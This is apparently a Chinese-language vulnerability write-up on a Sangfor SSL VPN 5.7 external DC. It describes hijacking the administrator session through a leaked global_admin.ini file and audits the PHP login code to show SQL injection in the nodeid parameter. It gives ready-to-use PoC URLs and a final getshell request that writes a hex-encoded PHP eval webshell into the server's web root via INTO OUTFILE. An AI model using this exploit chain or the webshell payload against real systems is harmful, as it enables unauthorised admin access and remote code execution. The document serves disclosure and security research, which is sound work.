测试版本为SSL 5.7的外置DC,主要有两个问题:
1、管理员sessionid泄漏
2、SQL注入
一、敏感信息泄漏:
Admin用户登录后,会出现一个文件(Admin未登录时此文件不存在)
里面包含了Admin用户的phpsessionid,并且任意用户可访问,如下图:
https://192.168.222.128/global_admin.ini
利用方法类似XSS,其它用户将浏览器cookie phpsessionid改成对应的值,再访问/src/index.php就是管理员用户了,无需知道帐号密码
利用fiddler把phpsessionid改成Admin对应的sessionid:
再访问/src/index.php,直接登录了:
系统设置--环境设置--其它,可以看到服务器绝对路径:
二、SQL注入
/src/login.php代码审核:
if(isset($_REQUEST['action_c'])&&$_REQUEST['action_c'] == 'login') { header("Content-type: text/html; charset=utf-8"); $user_type = $_REQUEST['user_type']; $user = $_REQUEST['user']; $pass = $_REQUEST['pass']; $pass_dec = base64_decode($pass); $nodeid = $_REQUEST['nodeid']; //nodeid参数输入部分,未做过滤 if(!empty($nodeid) && !is_numeric($nodeid) && !is_numeric($user_type)) //这部分逻辑搞笑了,当nodeid不为空且nodeid不为数字且user_type不为数字才返回参数错误。当user_type为数字型,而nodeid不为数字型的时候,这里逻辑为假,不提示参数错误并进入后续代码处理 { backmsg("参数错误"); exit; } if($user_type != 0) { $user_type = 1; } // 封锁IP检测 $path = $_SERVER['DOCUMENT_ROOT']."/src/temp"; $handle = @opendir($path); if($handle) { while(false !== ($file_name = @readdir($handle))) { $file = $path."/".$file_name; if(time() - @filemtime($file) > 300) //300秒后清除IP黑名单文件 { @unlink($file); } } } $time = 0; $file = $path."/".$_SERVER['REMOTE_ADDR'].$user_type; $handle = @fopen($file, "r"); if($handle) { $time = @fread($handle, 10); if(($time !== false) && ($time > 4)) { backmsg('同一IP登录登录失败次数超过5次,拒绝登录,请稍后再试'); exit; } @fclose($handle); } $handle = @fopen($file, "w"); if($handle) { ++$time; @fwrite($handle, $time); @fclose($handle); } //上面的封锁逻辑,当用户登录失败5次后,封锁300秒 //验证用户名密码 $adlogin = new adtLogin($user_type); if(!$adlogin->checkAdtPsw($nodeid,$user,$pass_dec)) //验证帐号密码流程,需跟踪 { backmsg(_E($adlogin->geterrno())); exit; } // 通过验证,删除临时文件 @unlink($file);
php class adtLogin代码文件:/src/inc/class/adtLogin.class.php
class adtLogin { var $Gloadmin=1;//记录是否是全局管理员,0表示全局管理员,1表示节点管理员 存入session var $type;//记录用户选择管理员类型 0表示全局管理员,1表示节点管理员 var $errno; var $nodeid; function adtLogin($type) { $this->type=trim($type); } public function checkAdtPsw($nodeid,$username,$pass) { /*@参数:$nodeid 数值 客户端提交数据,0表示用户选择全局数据库,其他值对应相应节点ID $this->nodeid=trim($nodeid); //nodeid未过滤 $username=filterStr(trim($username)); $pass = @EncryptDes2(filterStr($pass)); //$pass =md5($pass); $con=new SinforDbBase(); if($this->type==0) //type=0也就是全局管理员的检查流程,这里没有问题,不用看 { 省略...... } else //type=1也就是节点管理员的检查流程 { if($nodeid == null) { $this->errno=50; return false; } if(!$con->OpenDb($this->nodeid)) //变量nodeid进入OpenDb函数,需跟踪 { $this->errno=50; return false; } 省略......
OpenDb函数定义在/src/inc/class/SinforDbBase.class.php里
省略...... function OpenDb($NodeId=GLOBAL_DB) //需跟踪的OpenDb函数 { $db_config["hostname"] = $this->hostname.":".$this->port; $db_config["username"] = $this->username; $db_config["password"] = $this->pass; $db_config["charset"] = "UTF8"; $db_config["database"] = _S("DatabaseConfig", "DataBase"); // 默认为全局数据库 if( $NodeId != GLOBAL_DB ) //触发注入的前提,也就是nodeid不为0 { //$dbObj = new DBMantain(); //$db_config["database"] = $dbObj->getdbname($NodeId); /* 取数据库名字 */ if( ! $this->connect($db_config) ) { return false; } $sql = "select DB_Name from dev_node where id =$NodeId"; //SQL注入点 $row = $this -> row_query_one($sql); $this -> close_db(); if( ! $row ) { return false; } $db_config["database"] = $row["DB_Name"]; // 非全局数据库 }
注入POC:
https://IP/src/login.php?action_c=login&user_type=1g&user=admin&pass=admin&nodeid=3 and 1=1
提示“用户名或密码不正确”
https://IP/src/login.php?action_c=login&user_type=1g&user=admin&pass=admin&nodeid=3 and 1=2
提示“连接数据库失败”
由于有防爆破登录机制,这里用sqlmap注入会有很大麻烦,需要很长时间
由于mysql用户是root,并且magic_quotes_gpc = Off,系统又是windows,呵呵了,直接getshell:
https://IP/src/login.php?action_c=login&user_type=1&user=admin&pass=admin&nodeid=3 union select 0x3c3f70687020406576616c28245f504f53545b277362275d293b3f3e into outfile 'C:/Program Files/Sangfor/SSL/LogKeeper/htdocs/test.php'
生成一句话,密码sb,访问地址:https://IP/test.php
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论